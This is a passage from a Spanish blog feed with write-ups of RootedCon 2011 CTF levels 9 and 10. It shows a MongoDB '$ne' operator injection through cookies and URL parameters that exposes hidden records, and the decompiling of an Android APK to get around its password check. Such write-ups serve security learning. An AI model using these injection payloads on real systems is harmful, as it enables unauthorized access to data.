<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_3.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-680" style="border: 1px solid black;" title="reto10_3" src="http://blog.pepelux.org/wp-content/uploads/reto10_3.jpg" alt="" width="340" height="184" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Editando el código fuente nos encontramos con una pista:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_4.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-681" title="reto10_4" src="http://blog.pepelux.org/wp-content/uploads/reto10_4.jpg" alt="" width="600" height="104" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">De forma que si probamos a validarnos como <em>test / test</em> accedemos a otra pantalla:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_5.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-682" style="border: 1px solid black;" title="reto10_5" src="http://blog.pepelux.org/wp-content/uploads/reto10_5.jpg" alt="" width="600" height="89" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Analizando con el <em>TamperData</em> podemos ver algunas cosas curiosas:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_6.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-683" title="reto10_6" src="http://blog.pepelux.org/wp-content/uploads/reto10_6.jpg" alt="" width="600" height="221" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Tenemos una <em>cookie</em> con 3 valores:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;"><span style="color: #800000;"><strong>PHPSESSID</strong></span>=<span style="color: #579d1c;"><strong>dg1ofke8qvedlrg0m9g408f5g0</strong></span></span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><span style="color: #800000;"><strong>tokenid</strong></span>=<span style="color: #579d1c;"><strong>786aprxg87</strong></span></span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><span style="color: #800000;"><strong>raw</strong></span>=<span style="color: #579d1c;"><strong>dGVzdA%3D%3D</strong></span> </span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">Analicemos estos 3 valores:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>PHPSESSID</strong></em> puede 	dar lugar a confusión por el nombre de la variable pero el valor 	que tiene no se corresponde a lo esperado para una variable de 	sesión, que es un MD5 de 32 bytes. Por tanto ese valor, que por 	cierto no siempre es el mismo, es bastante sospechoso al tratarse de 	un ASCII de 30 bytes.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>tokenid</strong></em> de 	momento no se lo que es aunque por el nombre, parece tratarse el ID 	del mensaje que aparece en pantalla. Si lo quito no me aparecen las 	frases con las conversaciones.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>raw</strong></em> es el nombre 	del usuario en Base64, pero aunque lo cambiemos no hace nada 	diferente.</span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">Una vez validados, por mucho que recarguemos o toquemos las cookies (siempre que no se altere PHPSESSID) lo que nos aparece siempre es:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_7.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-684" style="border: 1px solid black;" title="reto10_7" src="http://blog.pepelux.org/wp-content/uploads/reto10_7.jpg" alt="" width="600" height="96" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Estuve buscando información sobre &#8216;<em>Mongo</em>&#8216; y me salía un mono. Luego estuve buscando información sobre &#8216;<em>Mongo chat</em>&#8216; y me salía una una web de contactos. Así que me quedé algo bloqueado hasta que Pablo, como pista, nos puso una referencia a una de las charlas de la Rooted (como estuve centrado en el CTF, la verdad es que no presté mucha atención a las charlas) acerca de <em>MongoDB</em>. Así que buscando información de nuevo di con esta web:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/</a> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">en la que explica cómo realizar inyecciones en este sistema:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_8.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-685" style="border: 1px solid black;" title="reto10_8" src="http://blog.pepelux.org/wp-content/uploads/reto10_8.jpg" alt="" width="600" height="284" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">De forma que, como podemos ver, si no está bien validado, es posible inyectar código y extraer datos.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras varias pruebas, al final conseguí inyectar en una de las cookies, concretamente en <em>tokenid</em>:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">La cookie original es:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;</span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">tokenid=786aprxg87;</span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">raw=dGVzdA%3D%3D</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">que sustituimos por:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;</span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">tokenid[$ne]=786aprxg87;</span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">raw=YWRtaW4%3D</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo que estamos diciéndole es que saque todas las <em>tokenid</em> menos la que hay por defecto. Además, cambiamos el <em>raw</em> escribiendo <strong>admin</strong> en lugar de <strong>test </strong>(sino da un error). </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Como supuse, <em>tokenid</em> era el identificador del mensaje que aparecía por pantalla, esta vez salió:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_9.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-686" style="border: 1px solid black;" title="reto10_9" src="http://blog.pepelux.org/wp-content/uploads/reto10_9.jpg" alt="" width="600" height="112" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Pinchando en el primer enlace vamos a:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="https://172.23.0.47/index.php?drink=sunny&amp;quantity=1">https://172.23.0.47/index.php?drink=sunny&amp;quantity=1</a> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Donde aparece algo así:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_10.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-687" style="border: 1px solid black;" title="reto10_10" src="http://blog.pepelux.org/wp-content/uploads/reto10_10.jpg" alt="" width="600" height="169" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">A medida que vamos recargando, va decrementando el número de <em>sunnys</em> hasta que termina diciendo que hemos bebido demasiadas. </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Con el segundo enlace ocurre algo similar pero con <em>coffee</em>:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="https://172.23.0.47/index.php?drink=sunny&amp;quantity=1">https://172.23.0.47/index.php?drink=coffee&amp;quantity=1</a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_11.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-688" style="border: 1px solid black;" title="reto10_11" src="http://blog.pepelux.org/wp-content/uploads/reto10_11.jpg" alt="" width="600" height="174" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Si nos pasamos pidiendo cafés, por ejemplo poniendo <em>quantity=999</em>, nos aparece:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_12.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-689" style="border: 1px solid black;" title="reto10_12" src="http://blog.pepelux.org/wp-content/uploads/reto10_12.jpg" alt="" width="600" height="33" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Finalmente inyectamos también en la URL, concretamente en la bebida (además de en la cookie):</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="https://172.23.0.47/index.php?drink[$ne]=shandy&amp;quantity=1">https://172.23.0.47/index.php?drink[$ne]=coffee&amp;quantity=1</a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Apareciendo:</span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/reto10_13.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-690" style="border: 1px solid black;" title="reto10_13" src="http://blog.pepelux.org/wp-content/uploads/reto10_13.jpg" alt="" width="600" height="148" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y si insistimos, sale nuestra solución del reto:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_14.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-691" style="border: 1px solid black;" title="reto10_14" src="http://blog.pepelux.org/wp-content/uploads/reto10_14.jpg" alt="" width="600" height="147" /></a><br />
</span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Para pasar el reto, introducimos la IP que nos aparece: <strong>172.23.0.234</strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong><br />
</strong></span></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F05%2F06%2Frootedcon-ctf-writeup-nivel-10%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/&amp;title=RootedCon CTF writeup nivel 10"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="RootedCon CTF writeup nivel 10 (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RootedCon CTF writeup nivel 9</title>
		<link>http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 11:27:23 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Retos hacking]]></category>
		<category><![CDATA[Rooted2011]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hack games]]></category>
		<category><![CDATA[Retos web]]></category>
		<category><![CDATA[RootedCON]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=644</guid>
		<description><![CDATA[Reto 9 En el reto anterior bajamos un fichero APK que parece ser una aplicación de Android así que vamos a abrirla con el emulador: Firmamos con un certificado aleatorio: Pasamos el Zipalign: Y ya podemos instalar en el emulador (necesitamos el Android SDK): Si metemos cualquier contraseña nos tira del programa. Así que vamos [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: medium;"><span style="text-decoration: underline;"><strong>Reto 9</strong></span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: medium;"><span style="text-decoration: underline;"><strong><a href="http://blog.pepelux.org/wp-content/uploads/reto9_11.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-646" title="reto9_1" src="http://blog.pepelux.org/wp-content/uploads/reto9_11.jpg" alt="" width="600" height="56" /></a></strong></span></span></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">En el reto anterior bajamos un fichero <em>APK</em> que parece ser una aplicación de <em>Android</em> así que vamos a abrirla con el emulador: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_2.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-647" title="reto9_2" src="http://blog.pepelux.org/wp-content/uploads/reto9_2.jpg" alt="" width="527" height="95" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Firmamos con un certificado aleatorio: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_3.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-648" title="reto9_3" src="http://blog.pepelux.org/wp-content/uploads/reto9_3.jpg" alt="" width="600" height="28" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Pasamos el <em>Zipalign</em>: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_4.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-649" title="reto9_4" src="http://blog.pepelux.org/wp-content/uploads/reto9_4.jpg" alt="" width="600" height="22" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y ya podemos instalar en el emulador (necesitamos el <em>Android SDK</em>): </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_5.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-650" title="reto9_5" src="http://blog.pepelux.org/wp-content/uploads/reto9_5.jpg" alt="" width="528" height="87" /></a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_6.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-651" title="reto9_6" src="http://blog.pepelux.org/wp-content/uploads/reto9_6.jpg" alt="" width="600" height="559" /></a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_7.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-652" title="reto9_7" src="http://blog.pepelux.org/wp-content/uploads/reto9_7.jpg" alt="" width="600" height="468" /></a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_8.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-653" title="reto9_8" src="http://blog.pepelux.org/wp-content/uploads/reto9_8.jpg" alt="" width="600" height="450" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Si metemos cualquier contraseña nos tira del programa. Así que vamos a decompilar el Java a ver que trae.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras instalarlo, nos conectamos con una <em>shell</em> a ver dónde lo instaló, para poderlo descargar:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_9.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-654" title="reto9_9" src="http://blog.pepelux.org/wp-content/uploads/reto9_9.jpg" alt="" width="468" height="520" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Ahora descargamos el paquete ya instalado: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_10.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-655" title="reto9_10" src="http://blog.pepelux.org/wp-content/uploads/reto9_10.jpg" alt="" width="600" height="45" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Renombramos el fichero como un ZIP: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_111.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-656" title="reto9_11" src="http://blog.pepelux.org/wp-content/uploads/reto9_111.jpg" alt="" width="600" height="41" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y lo descomprimimos: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_12.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-657" title="reto9_12" src="http://blog.pepelux.org/wp-content/uploads/reto9_12.jpg" alt="" width="600" height="208" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Decompilamos con <em>dex2jar</em> el fichero <em>classes.dex</em>: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_13.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-658" title="reto9_13" src="http://blog.pepelux.org/wp-content/uploads/reto9_13.jpg" alt="" width="600" height="65" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y el JAR generado lo abrimos con el <em>Java Decompiler</em>: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_14.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-659" title="reto9_14" src="http://blog.pepelux.org/wp-content/uploads/reto9_14.jpg" alt="" width="600" height="370" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Pinchamos en <em>Save -&gt; All Sources</em> y guardamos los fuentes, creándonos el fichero: <strong>classes.dex.dex2jar.src.zip</strong> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo descomprimimos y obtenemos los fuentes: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_15.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-660" title="reto9_15" src="http://blog.pepelux.org/wp-content/uploads/reto9_15.jpg" alt="" width="600" height="248" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y ahora toca estudiarse bien el código <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Veamos que hace el programa. Para ello, abrimos <em><strong>level.java</strong></em>:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_16.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-661" title="reto9_16" src="http://blog.pepelux.org/wp-content/uploads/reto9_16.jpg" alt="" width="600" height="267" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Aquí podemos ver 3 cosas:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>str1</em> toma el valor introducido por la pantalla, lo que nosotros 	escribimos como solución</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte1</em> tiene un valor fijo, que es: <strong>iloverootedcon</strong></span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte2</em> se trata de una especie de hash, aún por determinar: 	<strong>c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266</strong></span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras eso vemos una serie de chequeos (concretamente 3) que son los que provocan que la aplicación, al ejecutarla, se cierre tras meter cualquier contraseña:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_17.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-662" title="reto9_17" src="http://blog.pepelux.org/wp-content/uploads/reto9_17.jpg" alt="" width="600" height="294" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Mirando por curiosidad el valor de esa especie de hash,  <strong>6d656361676f20656e746f646f6f6f6f6f6f6f6f6f6f6f</strong>, vemos que se trata de la palabra: &#8216;<strong>mecago entodooooooooooo</strong>&#8216; … jeje muy oportuna a estas alturas <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Si seguimos viendo el código, ahora llega la parte caliente:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_18.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-663" title="reto9_18" src="http://blog.pepelux.org/wp-content/uploads/reto9_18.jpg" alt="" width="600" height="598" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">A groso modo:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte6</em> toma un valor que recoge de la función <em>readRes()</em>.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte7 </em></span><span style="font-family: DejaVu Sans,sans-serif;">coge 	el valor que teníamos en </span><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte1</em></span><span style="font-family: DejaVu Sans,sans-serif;">, 	es decir,</span><span style="font-family: DejaVu Sans,sans-serif;"><em> iloverootedcon</em></span><span style="font-family: DejaVu Sans,sans-serif;">.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>str2 </em></span><span style="font-family: DejaVu Sans,sans-serif;">es 	el resultado de lo que hace la función </span><span style="font-family: DejaVu Sans,sans-serif;"><em>x()</em></span><span style="font-family: DejaVu Sans,sans-serif;">, 	pasando como parámetro </span><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte6 	y arrayOfByte7</em></span><span style="font-family: DejaVu Sans,sans-serif;">.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte8 </em>es la cadena que introducimos 	al ejecutar el programa.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;"><em>arrayOfByte9 </em></span><span style="font-family: DejaVu Sans,sans-serif;">es 	el valor en bytes de </span><span style="font-family: DejaVu Sans,sans-serif;"><em>str2</em></span><span style="font-family: DejaVu Sans,sans-serif;">.</span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">Luego hace un </span><span style="font-family: DejaVu Sans,sans-serif;"><em>encrypt()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> usando como parámetros, nuestra cadena y </span><span style="font-family: DejaVu Sans,sans-serif;"><em>str2</em></span><span style="font-family: DejaVu Sans,sans-serif;">, que deducimos que debe ser la </span><span style="font-family: DejaVu Sans,sans-serif;"><em>key</em></span><span style="font-family: DejaVu Sans,sans-serif;"> de (des)encriptado.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Si analizamos las funciones de </span><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>utils.java</strong></em></span><span style="font-family: DejaVu Sans,sans-serif;">, podemos ver que se trata de una encriptación AES</span><span style="font-family: DejaVu Sans,sans-serif;"><em>. Por tanto, </em></span><span style="font-family: DejaVu Sans,sans-serif;">necesitamos una clave de cifrado para poder encriptar o desencriptar.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Volviendo a la imagen anterior, podemos deducir lo siguiente:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;">Tenemos 	el hash resultante:</span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266</strong></span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;">Utiliza 	las funciones </span><span style="font-family: DejaVu Sans,sans-serif;"><em>readRes()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> y </span><span style="font-family: DejaVu Sans,sans-serif;"><em>x()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> para obtener la </span><span style="font-family: DejaVu Sans,sans-serif;"><em>key</em></span><span style="font-family: DejaVu Sans,sans-serif;">, 	o parte de ella (ya que luego va concatenando ceros).</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;">Realiza 	un bucle en el que va añadiendo ceros (48 en decimal) a la derecha 	de la </span><span style="font-family: DejaVu Sans,sans-serif;"><em>key</em></span><span style="font-family: DejaVu Sans,sans-serif;"> y va probando a encriptar nuestra cadena y comparándola con el </span><span style="font-family: DejaVu Sans,sans-serif;"><em>hash</em></span><span style="font-family: DejaVu Sans,sans-serif;"> que tenemos como resultado.</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;">En </span><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>utils.java</strong></em></span><span style="font-family: DejaVu Sans,sans-serif;"> podemos ver que existe una función </span><span style="font-family: DejaVu Sans,sans-serif;"><em>decrypt()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> que no se utiliza en el programa.</span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">Pues la cosa parece clara. Tratamos de usar ese mismo código, quitando las 3 funciones </span><span style="font-family: DejaVu Sans,sans-serif;"><em>detect()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> y sustituyendo el </span><span style="font-family: DejaVu Sans,sans-serif;"><em>encrypt()</em></span><span style="font-family: DejaVu Sans,sans-serif;"> por un </span><span style="font-family: DejaVu Sans,sans-serif;"><em>decrypt()</em></span><span style="font-family: DejaVu Sans,sans-serif;">.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Aquí vino el lío. Jeje el problema es que no es lo mismo que esté claro, a que sea fácil hacerlo <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></p>
